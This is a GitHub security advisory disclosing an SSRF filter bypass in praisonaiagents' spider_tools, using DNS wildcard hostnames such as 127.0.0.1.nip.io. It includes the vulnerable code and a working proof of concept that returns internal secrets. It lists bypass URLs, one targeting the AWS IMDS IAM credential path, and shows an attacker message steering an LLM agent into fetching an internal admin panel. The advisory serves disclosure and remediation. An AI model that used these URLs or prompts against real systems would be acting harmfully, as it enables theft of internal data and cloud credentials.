GHSA-x44h-65qv-cw74
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | praisonaiagents | < 1.6.58 | 1.6.58 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function
`_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname
aliases, but **never performs DNS resolution**. Any hostname that resolves to a private or
loopback IP address — including public wildcard DNS services like `127.0.0.1.nip.io` —
bypasses the protection entirely.
This has been **confirmed with a live exploit**: `scrape_page("http://127.0.0.1.nip.io:PORT/secret")`
makes an HTTP request to `127.0.0.1:PORT` and returns the internal service response.
No attacker-controlled infrastructure is required.
`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as
LLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed
to fetch a user-supplied URL will trigger this path.
This is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only
rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to
`web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not
ported to `spider_tools.py`.
### Details
**Root cause — `spider_tools.py` lines 26-65:**
```python
def _host_is_blocked(hostname: str) -> bool:
host = hostname.lower().rstrip(".")
# Checks literal aliases only — never resolves
if host in ("localhost", "0.0.0.0", "::1"):
return True
if host in ("169.254.169.254", "metadata.google.internal"):
return True
if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
return True
# Tries to parse as IP literal only
try:
return _ip_blocked(ipaddress.ip_address(host))
except ValueError:
pass
try:
return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
except OSError:
pass
return False # <-- ANY real hostname passes without DNS lookup
```
`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real
hostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()`
raise exceptions, and the function returns `False` (not blocked).
**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**
```python
if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
try:
ip_str = socket.gethostbyname(hostname) # DNS resolution performed
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
continue # BLOCKED
except socket.gaierror:
continue # fail-closed
```
**Tool registration confirms this is user-reachable:**
```python
# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
'scrape_page': ('.spider_tools', None), # <- user-reachable LLM tool
'extract_links': ('.spider_tools', None),
'crawl': ('.spider_tools', None),
'extract_text': ('.spider_tools', None),
...
}
```
Any agent given these tools will call `scrape_page(url)` when instructed to fetch
a user-supplied URL — including attacker-controlled ones.
### PoC
**Environment:** Python 3.x, `praisonaiagents <= 1.6.52`, internet access (for nip.io)
**Step 1 — Verify the filter bypass (no network needed):**
```python
from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked
# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io")) # False — NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/")) # True — ALLOWED
print(_host_is_blocked("127.0.0.1")) # True — correctly blocked
```
Expected output:
```
False
True
True
```
**Step 2 — Full SSRF: internal service response exfiltrated**
```python
import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools
PORT = 19235
received = []
class InternalService(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
received.append(self.path)
def log_message(self, *a): pass
threading.Thread(
target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
daemon=True
).start()
time.sleep(0.2)
attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"
# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True # passes
# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code) # 200
print("BODY: ", r.text) # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT: ", received) # ['/secrets.json']
```
Observed output:
```
STATUS: 200
BODY: {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT: ['/secrets.json']
```
**Step 3 — Agent-level trigger (how a user triggers this in production):**
```python
from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page
agent = Agent(
name="WebResearcher",
instructions="You are a research assistant. Fetch and summarize the given URL.",
tools=[scrape_page],
)
# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)
```
**Additional bypass URLs (no setup required):**
| Target | URL |
|--------|-----|
| Localhost | `http://127.0.0.1.nip.io/` |
| Private network | `http://10.0.0.1.nip.io/` |
| AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |
### Impact
**What kind of vulnerability:** Server-Side Request Forgery (SSRF) — full read SSRF with
arbitrary port access.
**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`,
`extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This
includes:
- **Web research agents** (the primary intended use case for spider tools)
- **Jobs API users** — any authenticated API caller who submits jobs with `agent_yaml`
specifying spider tools
- **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching
`http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/`
may return temporary IAM credentials, leading to full cloud account compromise.
**Severity note:** This is a patch-gap variant. The SSRF protection was correctly
implemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses.
The DNS resolution check was added to `web_crawl_tools.py` but was missed in
`spider_tools.py`, creating an exploitable inconsistency.
```
---
## Remediation Suggestion (for maintainers)
One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:
```python
# After existing literal checks, add:
try:
resolved = socket.gethostbyname(hostname)
return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
return True # fail-closed: unresolvable host is blocked
```
References
External links from the advisory. They lead to third-party sites.